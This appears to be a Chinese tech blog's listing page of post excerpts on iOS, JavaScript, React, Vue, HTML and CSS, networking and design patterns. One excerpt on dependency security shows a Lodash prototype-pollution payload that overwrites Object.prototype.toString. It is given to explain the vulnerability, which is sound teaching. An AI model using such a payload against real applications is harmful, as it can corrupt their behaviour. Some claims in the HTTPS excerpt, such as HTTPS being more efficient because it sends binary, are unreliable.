let formatter = DateFormatter()
formatter.locale = currentLocale
formatter.dateStyle = .long
print(formatter.string(from: Date()))

不要传 Locale(identifier: "en") 去格式化数字，那会丢掉用户的区域偏好。

KVO底层原理

Sat, 02 May 2026 22:32:27 +0800

基础概念

KVO（Key-Value Observing，键值观察）是 Apple 基于 KVC 实现的一种观察者模式，允许对象监听另一个对象特定属性的变化。当被观察对象的属性值发生改变时，观察者会收到通知。

// 注册观察
[person addObserver:self
 forKeyPath:@"name"
 options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld
 context:nil];

// 接收通知
- (void)observeValueForKeyPath:(NSString *)keyPath
 ofObject:(id)object
 change:(NSDictionary<NSKeyValueChangeKey, id> *)change
 context:(void *)context {
 if ([keyPath isEqualToString:@"name"]) {
 NSLog(@"name changed: %@ → %@", change[NSKeyValueChangeOldKey], change[NSKeyValueChangeNewKey]);
 }
}

// 移除观察
- (void)dealloc {
 [person removeObserver:self forKeyPath:@"name"];
}

KVO 的底层实现原理：isa-swizzling

KVO 的核心实现机制是 isa-swizzling（isa 指针替换）。当对象被添加观察者时，Runtime 会在运行时动态创建该对象所属类的一个子类，并将对象的 isa 指针指向这个新的子类。

完整流程

flowchart TD
A["addObserver:forKeyPath:"] --> B["Runtime 动态创建子类
NSKVONotifying_ClassName"]
B --> C["重写被观察属性的 setter 方法"]
B --> D["重写 class 方法
返回原始类"]
B --> E["重写 dealloc 方法"]
B --> F["重写 _isKVOA 方法
返回 YES"]
C --> G["将对象的 isa 指向
NSKVONotifying_ClassName"]
G --> H["当属性值改变时"]
H --> I["调用 willChangeValueForKey:"]
I --> J["调用原始 setter 方法"]
J --> K["调用 didChangeValueForKey:"]
K --> L["通知所有观察者"]

第一步：动态创建子类

当首次对某个类的实例调用 addObserver:forKeyPath:options:context: 时，Runtime 会：

工厂模式

Sat, 02 May 2026 22:32:27 +0800

定义

工厂模式（Factory Pattern）是一种创建型设计模式，它提供了一种创建对象的方式，将对象的创建逻辑与使用逻辑分离。工厂模式有三种变体：简单工厂模式、工厂方法模式和抽象工厂模式。

为什么需要工厂模式

工厂模式要解决的核心问题是：将对象的创建过程与使用过程分离。

问题场景：假设我们正在开发一个网络层，需要创建URLSession对象。

直接使用构造函数创建对象看起来很简单：

class NetworkManager {
 func fetchData(from url: URL) {
 // 直接创建URLSession
 let config = URLSessionConfiguration.default
 config.timeoutIntervalForRequest = 30
 config.httpAdditionalHeaders = ["Authorization": "Bearer xxx"]
 let session = URLSession(configuration: config)

 session.dataTask(with: url) { data, response, error in
 // 处理响应...
 }.resume()
 }
}

这种方式有什么问题？

创建逻辑与业务逻辑混在一起：fetchData方法既要负责创建session，又要负责发起请求，职责不单一
创建逻辑无法复用：如果另一个方法也需要相同配置的session，只能复制这段创建代码
难以替换实现：如果想在测试时使用Mock的session，或者在不同环境使用不同配置，需要修改业务代码
隐藏了依赖关系：从方法签名看不出这个类依赖URLSession，依赖关系被隐藏在方法内部

工厂模式的解决思路：

工厂模式的核心是：调用方不再自己new对象，而是向工厂"要"对象。

// 工厂负责创建
class URLSessionFactory {
 static func createDefault() -> URLSession {
 let config = URLSessionConfiguration.default
 config.timeoutIntervalForRequest = 30
 config.httpAdditionalHeaders = ["Authorization": "Bearer xxx"]
 return URLSession(configuration: config)
 }

 static func createBackground(identifier: String) -> URLSession {
 let config = URLSessionConfiguration.background(withIdentifier: identifier)
 return URLSession(configuration: config)
 }
}

// 业务代码只负责使用
class NetworkManager {
 private let session: URLSession

 init(session: URLSession = URLSessionFactory.createDefault()) {
 self.session = session
 }

 func fetchData(from url: URL) {
 session.dataTask(with: url) { data, response, error in
 // 处理响应...
 }.resume()
 }
}

这样做的好处：

前端任务自动化（npm scripts实现）

Thu, 07 Aug 2025 00:00:00 +0800

在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但npm本身提供了一个强大的功能：npm scripts。通过npm scripts，我们可以将这些任务脚本化并集中管理，从而提高开发效率。

本文将专注于如何使用npm scripts自动化前端开发任务，以及它在项目管理中的作用。

什么是`npm scripts`？

{
 "scripts": {
 "build": "webpack --config webpack.config.js",
 "test": "jest"
 }
}

在上面的示例中，定义了两个脚本：build 和 test。可以通过以下方式在命令行中运行这些脚本：

npm run build
npm run test

npm会执行对应的命令，自动帮我们完成编译和测试任务。

为什么使用`npm scripts`？

在现代前端开发流程中，自动化任务是不可或缺的，而npm scripts的使用有以下几大优势：

减少对全局依赖的需求：在传统项目中，开发者通常需要全局安装各种命令行工具，如webpack、eslint、babel等。而npm scripts可以直接调用项目的本地依赖，无需全局安装。这确保了不同开发环境中的工具版本一致，减少了版本冲突和兼容性问题。
集中管理任务：npm scripts将所有任务定义集中在package.json文件中，项目中的所有开发人员都可以直观地看到可用的任务列表，无需了解每个工具的详细使用方法。只需运行npm run <task>，便可一键完成常见任务。
支持跨平台执行：npm scripts中的命令可以跨平台使用，在Windows、macOS和Linux系统上表现一致，尤其适合团队协作。
便于组合和链式执行：npm允许通过逻辑操作符来组合脚本，实现复杂任务的自动化执行。例如可以通过&&和||来串联多个任务，使得多个步骤一次完成。

如何定义和使用`npm scripts`？

让我们通过具体的示例来看看npm scripts如何自动化前端开发任务。

1. 设置基本的开发任务

假设我们正在开发一个React项目，我们可以在package.json中定义以下基本任务：

{
 "scripts": {
 "start": "webpack serve --mode development",
 "build": "webpack --mode production",
 "test": "jest",
 "lint": "eslint src/**/*.js"
 }
}

这里的脚本分别执行以下任务：

http和https

Mon, 28 Jul 2025 00:00:00 +0800

HTTP

基础

HTTP 超文本传输协议，应用层协议。主要用于 Web 上传输超媒体文本的底层协议，经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。

HTTP 是无状态

无状态是 HTTP 协议对客户端请求状态没有进行存储，比如每次请求都需要重新登录

HTTP 是无连接

无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求，服务端响应请求，然后就断开连接。这期间就是通过三次握手建立连接，四次挥手断开连接。每次请求即便是多次请求并请求同一个资源，服务端都无法判断是否是相同请求，都需要重新响应请求。

所以，为了解决客户端和服务端保持会话连接，通过 cookie 和 session 来记录 http 状态。

HTTP 的其他特点是简单快速，只需传送方法和路径就可以向服务端进行请求；还有支持传输任意类型的数据对象。

HTTPS

基础

https 是 http 的“升级”版本：

HTTPS = HTTP+ SSL/TLS

SSL 是安全层，TLS 是传输层安全，是SSL 的继承。使用SSL或TLS 可确保传输数据的安全性。

使用 HTTP 可能看到传输数据是： “这是明文信息”

使用 HTTPS 可能看到： “283hd9saj9cdsncihquhs99ndso”

HTTPS 传输的不再是文本，而是二进制流，使得传输更高效，且加密处理更加安全。

HTTPS 的工作流程

1、客户端请求 HTTPS 请求并连接到服务器的 443 端口，此过程和请求 HTTP 请求一样，进行三次握手；

2、服务端向客户端发送数字证书，其中包含公钥、证书颁发者、到期日期

现比较流行的加解密码对，即公钥和私钥。公钥用于加密，私钥用于解密。所以服务端会保留私钥，然后发送公钥给客户端。

3、客户端收到证书，会验证证书的有效性。验证通过后会生成一个随机的 pre-master key。再将密钥通过接收到的公钥加密然后发送给服务端

4、服务端接收后使用私钥进行解密得到 pre-master key

5、获得 pre-master key 后，服务器和客户端可以使用主密钥进行通信。

react hooks

Tue, 17 Dec 2024 00:00:00 +0800

一前言

React hooks是react16.8 以后，react新增的钩子API，目的是增加代码的可复用性，逻辑性，弥补无状态组件没有生命周期，没有数据管理状态state的缺陷。

本章节将介绍目前 React 提供的所有 hooks ，介绍其功能类型和基本使用方法。

1.1 技术背景

react hooks 解决了什么问题？

先设想一下，如果没有 Hooks，函数组件能够做的只是接受 Props、渲染 UI ，以及触发父组件传过来的事件。所有的处理逻辑都要在类组件中写，这样会使 class 类组件内部错综复杂，每一个类组件都有一套独特的状态，相互之间不能复用，即便是 React 之前出现过 mixin 等复用方式，但是伴随出 mixin 模式下隐式依赖，代码冲突覆盖等问题，也不能成为 React 的中流砥柱的逻辑复用方案。所以 React 放弃 mixin 这种方式。

类组件是一种面向对象思想的体现，类组件之间的状态会随着功能增强而变得越来越臃肿，代码维护成本也比较高，而且不利于后期 tree shaking。所以有必要做出一套函数组件代替类组件的方案，于是 Hooks 也就理所当然的诞生了。

所以 Hooks 出现本质上原因是：

让函数组件也能做类组件的事，有自己的状态，可以处理一些副作用，能获取 ref ，也能做数据缓存。
解决逻辑复用难的问题。
放弃面向对象编程，拥抱函数式编程。

为什么要使用自定义 Hooks ？

自定义 hooks 是在 React Hooks 基础上的一个拓展，可以根据业务需求制定满足业务需要的组合 hooks ，更注重的是逻辑单元。通过业务场景不同，到底需要React Hooks 做什么，怎么样把一段逻辑封装起来，做到复用，这是自定义 hooks 产生的初衷。

自定义 hooks 也可以说是 React Hooks 聚合产物，其内部有一个或者多个 React Hooks 组成，用于解决一些复杂逻辑。

执行上下文

Wed, 06 Nov 2024 00:00:00 +0800

我们在JS学习初期或者面试的时候常常会遇到考核变量提升的思考题。比如先来一个简单一点的。

console.log(a); // 这里会打印出什么？
var a = 20;

暂时先不管这个例子，我们先引入一个JavaScript中最基础，但同时也是最重要的一个概念执行上下文（Execution Context）。

每次当控制器转到可执行代码的时候，就会进入一个执行上下文。执行上下文可以理解为当前代码的执行环境，它会形成一个作用域。JavaScript中的运行环境大概包括三种情况。

全局环境：JavaScript代码运行起来会首先进入该环境
函数环境：当函数被调用执行时，会进入当前函数中执行代码
eval（不建议使用，可忽略）

因此在一个JavaScript程序中，必定会产生多个执行上下文，在我的上一篇文章中也有提到，JavaScript引擎会以栈的方式来处理它们，这个栈，我们称其为函数调用栈(call stack)。栈底永远都是全局上下文，而栈顶就是当前正在执行的上下文。

当代码在执行过程中，遇到以上三种情况，都会生成一个执行上下文，放入栈中，而处于栈顶的上下文执行完毕之后，就会自动出栈。为了更加清晰的理解这个过程，根据下面的例子，结合图示给大家展示。

执行上下文可以理解为函数执行的环境，每一个函数执行时，都会给对应的函数创建这样一个执行环境。

var color = 'blue';

function changeColor() {
 var anotherColor = 'red';

 function swapColors() {
 var tempColor = anotherColor;
 anotherColor = color;
 color = tempColor;
 }

 swapColors();
}

changeColor();

我们用ECStack来表示处理执行上下文组的堆栈。我们很容易知道，第一步，首先是全局上下文入栈。

全局上下文入栈之后，其中的可执行代码开始执行，直到遇到了changeColor() ，这一句激活函数changeColor创建它自己的执行上下文，因此第二步就是changeColor的执行上下文入栈。

changeColor的上下文入栈之后，控制器开始执行其中的可执行代码，遇到swapColors()之后又激活了一个执行上下文。因此第三步是swapColors的执行上下文入栈。

在swapColors的可执行代码中，再没有遇到其他能生成执行上下文的情况，因此这段代码顺利执行完毕，swapColors的上下文从栈中弹出。

swapColors的执行上下文弹出之后，继续执行changeColor的可执行代码，也没有再遇到其他执行上下文，顺利执行完毕之后弹出。这样，ECStack中就只身下全局上下文了。

全局上下文在浏览器窗口关闭后出栈。

注意：函数中，遇到return能直接终止可执行代码的执行，因此会直接将当前上下文弹出栈。

详细了解了这个过程之后，我们就可以对执行上下文总结一些结论了。

单线程
同步执行，只有栈顶的上下文处于执行中，其他上下文需要等待
全局上下文只有唯一的一个，它在浏览器关闭时出栈
函数的执行上下文的个数没有限制
每次某个函数被调用，就会有个新的执行上下文为其创建，即使是调用的自身函数，也是如此。

为了巩固一下执行上下文的理解，我们再来绘制一个例子的演变过程，这是一个简单的闭包例子。

function f1(){
 var n=999;
 function f2(){
 alert(n);
 }
 return f2;
}
var result=f1();
result(); // 999

因为f1中的函数f2在f1的可执行代码中，并没有被调用执行，因此执行f1时，f2不会创建新的上下文，而直到result执行时，才创建了一个新的。具体演变过程如下。

最后留一个简单的例子，大家可以自己脑补一下这个例子在执行过程中执行上下文的变化情况。

var name = "window";

var p = {
 name: 'Perter',
 getName: function() {

 // 利用变量保存的方式保证其访问的是p对象
 var self = this;
 return function() {
 return self.name;
 }
 }
}

var getName = p.getName();
var _name = getName();
console.log(_name);

常见考点

执行上下文的定义

什么是执行上下文？它在 JavaScript 中有哪些类型？
执行上下文在代码执行时是如何被创建和销毁的？

执行上下文的生命周期

执行上下文的创建和执行过程有哪些阶段？（例如，创建阶段和执行阶段）
请描述执行上下文在创建阶段进行的三个步骤：变量对象的创建、作用域链的建立、this 的绑定。

变量对象（Variable Object）

什么是变量对象？它在执行上下文中的作用是什么？
变量提升是如何与变量对象关联的？在函数声明和变量声明时有何不同？

作用域链

执行上下文是如何通过作用域链来访问变量的？
请解释在嵌套函数的情况下，作用域链是如何建立的？

this 绑定

在不同的执行上下文中，this 的值是如何确定的？（例如，全局上下文、函数上下文、箭头函数）
如何解释在不同函数调用方式下 this 的指向差异？

执行上下文栈

什么是执行上下文栈？它如何管理代码执行的顺序？
JavaScript 引擎如何利用执行上下文栈来实现函数的嵌套调用和返回？

块级作用域的影响

ES6 中引入的 let 和 const 是如何影响执行上下文的？
如何解释块级作用域在执行上下文中的特殊处理？

常见问题与调试

如何通过理解执行上下文来排查变量未定义、this 指向错误等常见问题？
请解释某个你遇到的实际问题，以及如何通过分析执行上下文来解决它的。

HTML 常见属性

Tue, 15 Oct 2024 00:00:00 +0800

HTML 元素的属性是用于控制元素行为或样式的附加信息。

以下是一些常见的 HTML 属性：

1. 通用属性（Global Attributes）

这些属性几乎可以应用于所有 HTML 元素：

id：元素的唯一标识符，用于 JavaScript 或 CSS 选择。

<div id="main"></div>

class：为元素指定一个或多个类名，用于 CSS 样式或 JavaScript 操作。

<div class="container header"></div>

style：为元素设置内联样式。

<div style="color: red;"></div>

title：为元素提供额外信息，当鼠标悬停在元素上时显示。

<button title="Click me!">Click</button>

data-*：自定义属性，用于存储私有数据，以 data- 为前缀，可以通过 JavaScript 访问。

<div data-user-id="123"></div>

2. 事件属性（Event Attributes）

这些属性用于处理元素上的事件：

onclick：定义单击事件处理函数。

<button onclick="alert('Clicked!')">Click me</button>

onmouseover：鼠标悬停时触发的事件。

<div onmouseover="console.log('Mouse over')"></div>

onkeydown：按下键盘时触发的事件。

<input type="text" onkeydown="handleKeyDown(event)">

3. 表单相关属性

type：定义输入框类型，例如 text、password、email 等。

<input type="text">

name：定义表单元素的名称，用于表单提交。

<input type="text" name="username">

value：定义表单元素的默认值。

<input type="text" value="Default value">

placeholder：为输入框提供占位符文本，提示用户输入。

<input type="text" placeholder="Enter your name">

disabled：禁用输入元素，使其不可交互。

<input type="text" disabled>

required：标记表单元素为必填项。

<input type="text" required>

4. 链接和资源加载属性

href：用于指定超链接的目标 URL。

<a href="https://example.com">Go to example.com</a>

src：指定图像、脚本或其他资源的路径。

<img src="image.jpg" alt="Image description">

alt：为图像提供替代文本，图像无法加载时显示。

<img src="image.jpg" alt="Alternative text">

rel：指定链接与目标文档的关系，常用于 link 标签和 a 标签。

<link rel="stylesheet" href="style.css">

target：定义链接的打开方式，常用值包括 _self（当前窗口）和 _blank（新窗口）。

<a href="https://example.com" target="_blank">Open in new tab</a>

5. 多媒体属性

controls：为 <audio> 或 <video> 元素添加播放控件。

<video src="video.mp4" controls></video>

autoplay：自动播放音频或视频。

<audio src="audio.mp3" autoplay></audio>

loop：音频或视频播放完后重新开始播放。

<video src="video.mp4" loop></video>

muted：自动静音视频或音频。

<audio src="audio.mp3" muted></audio>

6. 图像和媒体相关属性

width 和 height：定义图像或视频的宽度和高度。

<img src="image.jpg" width="200" height="100">

7. iframe 属性

src：定义嵌入的网页 URL。

<iframe src="https://example.com"></iframe>

sandbox：为嵌入内容提供更严格的限制，控制 iframe 的行为。

<iframe src="https://example.com" sandbox></iframe>

8. 语义化属性

role：为屏幕阅读器和辅助技术提供语义化描述。

<div role="navigation"></div>

9. 布局和可访问性属性

hidden：隐藏元素，元素不会显示在页面中。

<div hidden>This content is hidden</div>

tabindex：定义元素的 tab 键导航顺序。

<button tabindex="1">First</button>
<button tabindex="2">Second</button>

常见考点

1. 全局属性（Global Attributes）

class：用于给元素指定样式类，如何使用多个类？有哪些常见用法？
id：唯一标识元素，id 的作用和注意事项。
style：内联样式的作用及其优先级。
title：为元素提供额外信息（鼠标悬停时显示）。
data- 属性*：自定义数据属性，如何在 JavaScript 中访问 data-* 属性？

2. 事件属性（Event Attributes）

onclick、onmouseover 等事件处理属性。
如何使用事件属性进行事件绑定？
事件属性和 JavaScript 事件监听器（addEventListener）的区别和应用场景。

3. 表单属性

name：用于提交表单数据时作为键名。
action：表单提交的目标 URL。
method：表单的提交方式（GET 或 POST）。
autocomplete：是否启用表单自动填充。
required、pattern、min/max 等 HTML5 校验属性。

4. 输入控件相关属性

value：为输入控件设置默认值。
placeholder：为输入框提供提示文本。
disabled：禁用输入控件。
readonly：只读属性，控件不能被修改。
maxlength/minlength：输入字符长度的限制。
accept：文件上传时，限制允许的文件类型（适用于 <input type="file">）。

5. 媒体元素属性

src：媒体文件的路径（适用于 <img>、<audio>、<video> 等）。
alt：图片无法加载时显示的替代文本。
controls：是否为媒体文件显示默认控制条。
autoplay：媒体文件是否自动播放。
loop：媒体文件是否循环播放。
muted：媒体文件是否静音。

6. 超链接相关属性

href：链接目标的 URL。
target：定义链接打开的方式（如 _blank 打开新窗口）。
download：允许下载链接资源，而不是导航到资源。
rel：定义链接与当前文档的关系（如 nofollow、noopener）。

7. iframe 属性

src：嵌入的文档或网页的 URL。
sandbox：启用或禁用特定行为（如禁止脚本、表单提交等）。
allow：控制 iframe 内的权限（如允许摄像头、麦克风访问）。

8. 图像和图形属性

srcset：为不同设备提供不同分辨率的图像资源。
sizes：配合 srcset，定义不同视口下图像显示的尺寸。
usemap：指定图片使用的图像映射。
height/width：定义图片或其他元素的高度和宽度。

9. meta 标签属性

charset：指定文档的字符编码（如 UTF-8）。
name 和 content：为文档提供元信息（如 description, viewport）。
http-equiv：配合 content，定义 HTTP 头信息（如 refresh, Content-Type）。

10. 无障碍相关属性

aria- 属性*：为无障碍工具（如屏幕阅读器）提供更多语义信息。
role：指定元素的功能角色，增强无障碍性。

11. iframe 和图片的懒加载

loading=“lazy”：为图片和 iframe 启用懒加载。

12. 语言和方向属性

lang：指定元素或页面的语言（如 lang="en"）。
dir：指定文本的书写方向（如 ltr 左到右，rtl 右到左）。

font

Thu, 10 Oct 2024 00:00:00 +0800

什么是 font 属性？

在CSS中， font 属性是一个简写属性，用于设置字体的多个相关属性，包括字体大小、字体样式、字体粗细、字体系列等。使用 font 属性可以方便地在一个声明中设置多个字体相关的样式。

font 属性的语法

font: [font-style] [font-variant] [font-weight] [font-size] [line-height] [font-family];

各个属性的详细说明

font-style：设置字体的样式。

取值：
- normal：正常字体（默认值）。
- italic：斜体字。
- oblique：倾斜字体。

font-variant：设置字体的变体。

取值：
- normal：正常（默认值）。
- small-caps：小型大写字母。

font-weight：设置字体的粗细。

取值：
- normal：正常粗细（默认值）。
- bold：加粗。
- bolder：比父元素更粗。
- lighter：比父元素更细。
- 数值：可以使用 100 到 900 的数值，100 为最细，900 为最粗。

font-size：设置字体的大小。

取值：
- 可以使用绝对单位（如 px、 pt）或相对单位（如 em、 rem、 %）。

line-height：设置行高。

取值：
- 可以使用数值、单位（如 px、 em）或百分比。

font-family：设置字体系列。

取值：
- 可以指定多个字体名称，以逗号分隔，浏览器将使用第一个可用的字体。
- 例如： "Arial", "Helvetica", sans-serif。

使用 font 属性的注意事项

font 属性必须按照特定的顺序书写，尤其是 font-size 和 font-family，它们是必需的。
如果使用 font 属性，其他相关的字体属性（如 font-size 和 font-family）不能单独设置。

实例：使用 font 属性设置文本样式

HTML 代码

<!DOCTYPE html>
<html lang="zh">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Font 属性示例</title>
 <link rel="stylesheet" href="styles.css">
</head>
<body>
 <h1 class="title">欢迎来到我的网站</h1>
 <p class="description">这是一个关于CSS字体属性的示例，展示如何使用font属性设置文本样式。</p>
</body>
</html>

CSS 代码（styles.css）

body {
 font-family: Arial, sans-serif; /* 设置全局字体 */
}

.title {
 font: bold 24px/1.5 "Helvetica Neue", Arial, sans-serif; /* 设置标题字体样式 */
 color: #333; /* 字体颜色 */
}

.description {
 font: italic normal 16px/1.8 "Georgia", serif; /* 设置描述文本字体样式 */
 color: #666; /* 字体颜色 */
}

解释

HTML结构：我们创建了一个包含标题和描述的简单网页。
CSS样式：

在 .title 类中，使用 font 属性设置了字体为加粗、24px大、行高为1.5、字体系列为 "Helvetica Neue"，后备字体为 Arial 和无衬线字体。
在 .description 类中，使用 font 属性设置了字体为斜体、正常粗细、16px大、行高为1.8、字体系列为 "Georgia"，后备字体为衬线字体。

结果

通过以上代码，浏览器将展示一个标题和描述文本，标题为加粗大字体，描述为斜体较小字体。这样可以清晰地展示不同文本的样式和视觉层次感。

侦听器watch

Fri, 04 Oct 2024 00:00:00 +0800

一、 watch API

我们先看看 watch的使用例子,watch 有多种用法，可以接收多种类型参数:

import { reactive, watch } from 'vue'

// 1. 传入getter函数
const state = reactive({ count: 0 })
watch(() => state.count, (count, prevCount) => {
 // 当 state.count 更新，会触发此回调函数
})

// 2. 传入reactive对象
watch(state, (count, prevCount) => {
 // 当 state.count 更新，会触发此回调函数
})

// 3. 传入ref对象
const stateRef = ref(0)
watch(stateRef, (count, prevCount) => {
 // 当 stateRef.value 更新，会触发此回调函数
})

// 4.监听多个数据源，回调函数接受两个数组，分别对应来源数组中的新值和旧值：
watch([fooRef, barRef], ([foo, bar], [prevFoo, prevBar]) => { /* ... */ })

从上面的例子可以看到，对于 watch，它能接收的第一个参数类型非常多。

你可以传入一个ref对象、一个响应式对象、一个 getter 函数、甚至是一个数组。

我们在上一篇中知道了computed对象其内部是借助了 effect函数 创建了一个 reactiveEffect函数，在访问computed对象的值时，执行其 runner函数 求值。

第三方库的安全

Wed, 02 Oct 2024 00:00:00 +0800

从一个安全漏洞说起

Lodash 是一款非常流行的 npm 库，每月的下载量超过 8000 万次，GitHub 上使用它的项目有超过 400 万。之前有段时间， Lodash 的一个安全漏洞刷爆了朋友圈，我们先来回忆下这个安全漏洞：

攻击者可以通过 Lodash 的一些函数覆盖或污染应用程序。例如：通过 Lodash 库中的函数 defaultsDeep 可以修改 Object.prototype 的属性。

我们都知道，JavaScript 在读取对象中的某个属性时，如果查找不到就会去其原型链上查找。试想一下，如果被修改的属性是 toString 方法：

const payload = '{"constructor": {"prototype": {"toString": true}}}'
_.defaultsDeep({}, JSON.parse(payload))

每个对象都有一个 toString() 方法，当该对象被表示为一个文本值时，或者一个对象以预期的字符串方式引用时自动调用。默认情况下，toString() 方法被每个 Object 对象继承。如果此方法在自定义对象中未被覆盖，toString() 返回 [object type]，其中 type 是对象的类型。如果覆盖了 toString() 方法，那么给应用带来的影响就是非常大的。

其实上述的问题就属于一个很常见的安全漏洞 —— 原型污染

原型污染：攻击者通过某种手段修改 JavaScript 对象的原型（prototype）

然而这并不是 Lodash 第一次爆出安全漏洞了。事实上，像这样的安全漏洞还可能存在于我们使用的千千万万个不同的开源依赖中，如果我们平时不重视他们，一旦出现问题对我们的项目造成的损失是不可估计的。这相当于你的项目中埋着很多不知道什么时候就会爆炸的炸弹。

安全调查

其实开发人员对开源代码的安全性的信任程度要大于对自己编写的代码的安全性的信任程度，但是在确保代码安全性和质量的工具还有很多不足之处。在 npm 还没有一个完善的安全检测机制之前，npm 和 NodeJs 团队曾经对数万名 JavaScript 开发者发起过一个调查，第一个问题就是安全问题，具体就是开发人员如何看待他们编写的代码和所使用的开源项目的安全性。

调查结果显示：全球 97％ 的 JavaScript 开发人员在自己开发的项目中都依赖开源代码，77％ 的开发人员对他们使用的开源代码是否安全表示担忧。更有趣的是，有 87％ 的人表示担心自己的代码的安全性。

解构赋值

Wed, 02 Oct 2024 00:00:00 +0800

解构赋值概念

解构赋值语法是一种 Javascript 表达式。

通过解构赋值，可以将属性/值从对象/数组中取出,赋值给其他变量。
解构赋值是通过将结构中的各元素复制到变量中来达到“解构”的目的。但对象/数组本身不会被修改。

数组解构

基本使用

📖 可以在定义变量的同时，使用解构进行赋值

let [one, two, three] = foo;

//等同于

let one = foo[0];
let two = foo[1];
let three = foo[2];

📖 也可以先声明变量，在进行解构赋值

设置默认值

当【左边≠右边】时，可以先设置一个默认值，否则取不到值的变量会变成undefined

剩余值处理

可以使用三个点 "..."+ 参数来接收剩余的所有元素，变量名称随意，必须在最后一个参数的位置上

进阶用法

🎨 可以和split 函数结合使用，比如

let [Mother,Father] = "judy,pete".split(',');

console.log(Mother) //judy
console.log(Father) //pete

🎨 可以使用逗号忽略元素，比如

let [name1,,name3] = ["Julius01", "Caesar02", "Consul03"]

🎨 可以直接赋值给对象的属性，比如

let user = {};
[user.name, user.surname] = ["Ilya","Kantor"]

Harness Engineering 精读笔记

Sat, 02 May 2026 22:32:27 +0800

基于 2025.11 — 2026.03 期间 Anthropic、OpenAI、LangChain、Google DeepMind、Stanford 发布的九篇核心文章的精读整理。目标：理解 Harness Engineering 是什么，以及大公司和学术机构在实践中做了哪些探索。

一、什么是 Harness Engineering？

1.1 Harness 的定义

LangChain 给出了最清晰的公式化定义：

Agent = Model + Harness “If you’re not the model, you’re the harness.” “A harness is every piece of code, configuration, and execution logic that isn’t the model itself.”

具体来说，Harness 包括：

System Prompts — 系统提示词，定义 Agent 的行为边界
Tools / Skills / MCPs — 工具集及其描述（文件读写、代码执行、浏览器操作等）
Bundled Infrastructure — 捆绑基础设施（文件系统、沙箱、浏览器）
Orchestration Logic — 编排逻辑（子 Agent 派生、任务交接、模型路由）
Hooks / Middleware — 确定性执行逻辑（压缩、续行、lint 检查等）

Anthropic 不给 Harness 下抽象定义，而是通过实践来展示：他们用 “harness design” 和 “harnesses for long-running agents” 来描述围绕 Agent 执行循环的编排层。Anthropic 在博客中明确说：“harness design is key to performance at the frontier of agentic coding”。

iOS无障碍树详解

Sat, 02 May 2026 22:32:27 +0800

前言

打开 iPhone 的"设置 → 辅助功能 → 旁白（VoiceOver）"，再用三指在屏幕上滑动，iPhone 就会逐个读出当前界面上的每个控件："登录按钮，双击以激活"、"用户名，文本框，已填写 ancheng"、"价格，¥99"。这背后支撑 VoiceOver、开关控制（Switch Control）、语音控制（Voice Control）、全键盘访问（Full Keyboard Access）、Xcode UITest、AI Agent 识屏等一系列能力的，是一棵并行于 UIView 视图树的 无障碍树（Accessibility Tree，AX Tree）。

对大多数 iOS 工程师来说，无障碍树是"黑盒"：设了 isAccessibilityElement = true、填了 accessibilityLabel，然后就不管了。但一旦遇到以下问题，就不得不深入理解它的工作机制：

为什么 UITest 里用 XCUIElement 定位不到某个按钮？
为什么打开 VoiceOver 后 App 明显变卡？
为什么一个自绘的 CALayer 按钮在 VoiceOver 下无法被朗读？
为什么 UILabel 嵌在 UIStackView 里焦点顺序是乱的？
SwiftUI 的 .accessibilityElement(children: .combine) 到底合并了什么？
Accessibility Inspector 里看到的树结构从哪儿来？
AI Agent（如 iOS 上的 Claude、ChatGPT Mac 客户端）是如何"看到"屏幕的？

本文从操作系统层的 AX 架构讲起，逐层拆解：AX Server 守护进程、UIKit 中的 UIAccessibility 协议、UIAccessibilityElement 类、UIAccessibilityContainer 协议、焦点排序算法、SwiftUI 的 AX 实现、辅助技术的工作原理、性能优化、UITest 与 AI 识屏原理、调试工具与最佳实践。

Mach-O的链接、装载与库

Sat, 02 May 2026 22:32:27 +0800

本文深入介绍iOS/macOS开发中的Mach-O文件格式、动态库与静态库，帮助理解程序的链接、装载过程，以及Rebase/Bind的底层原理。

一、基础概念

在深入学习之前，先了解几个核心概念。

1.0 从源代码到可执行文件

一段源代码要变成可执行文件，需要经历以下几个阶段：

flowchart TB
A["源代码 (.m/.swift)"] --> B["预处理
展开宏、处理#import/#include"]
B --> C["编译
源代码 → 汇编代码"]
C --> D["汇编
汇编代码 → 目标文件(.o)"]
D --> E["链接
目标文件 + 库 → 可执行文件"]
E --> F["可执行文件"]

1.1 什么是符号（Symbol）

符号是程序中函数、变量、类等实体的名称标识。当你写下一个函数调用时，编译器需要知道这个函数在哪里，符号就是用来定位它的。

// 这段代码中包含多个符号
void myFunction(void) { // 定义了符号 _myFunction
 NSLog(@"Hello"); // 引用了外部符号 _NSLog
}

int globalVar = 10; // 定义了符号 _globalVar

符号分为两类：

已定义符号：在当前编译单元（即当前源文件编译生成的.o文件）中有具体代码或数据定义的符号（如上例中的 _myFunction 和 _globalVar）
未定义符号：当前编译单元只是引用，实际定义在其他编译单元或库中的符号（如上例中的 _NSLog），需要在链接时解析

1.2 什么是链接（Linking）

链接是将多个编译后的目标文件（.o）组合成一个可执行文件的过程。链接器的核心工作是符号解析——把所有"未定义符号"与其他编译单元中的"已定义符号"关联起来。

flowchart LR
subgraph 输入
A["main.o
已定义: _main
未定义: _foo"]
B["foo.o
已定义: _foo
未定义: _NSLog"]
C["Foundation
已定义: _NSLog"]
end
A --> D["链接器
符号解析"]
B --> D
C --> D
D --> E["可执行文件
所有符号已解析"]

符号解析的过程

链接器会遍历所有输入的目标文件和库，执行以下步骤：

建造者模式

Sat, 02 May 2026 22:32:27 +0800

定义

建造者模式（Builder Pattern）是一种创建型设计模式，它将复杂对象的构建与表示分离，使得同样的构建过程可以创建不同的表示。建造者模式特别适用于创建包含多个可选参数的对象。

建造者模式的核心思想是：将一个复杂对象的构建过程分解为多个简单的步骤，通过一步一步地构建，最终得到完整的对象。

为什么需要建造者模式

建造者模式要解决的核心问题是：简化复杂对象的创建过程，特别是当对象有很多可选参数时。

问题场景：假设我们需要创建一个网络请求配置对象，它有很多可选参数。

使用构造函数的方式：

struct NetworkConfig {
 let baseURL: URL
 let timeout: TimeInterval
 let retryCount: Int
 let cachePolicy: CachePolicy
 let headers: [String: String]
 let enableLogging: Bool
 let certificatePinning: Bool

 // 构造函数参数太多！
 init(baseURL: URL,
 timeout: TimeInterval = 30,
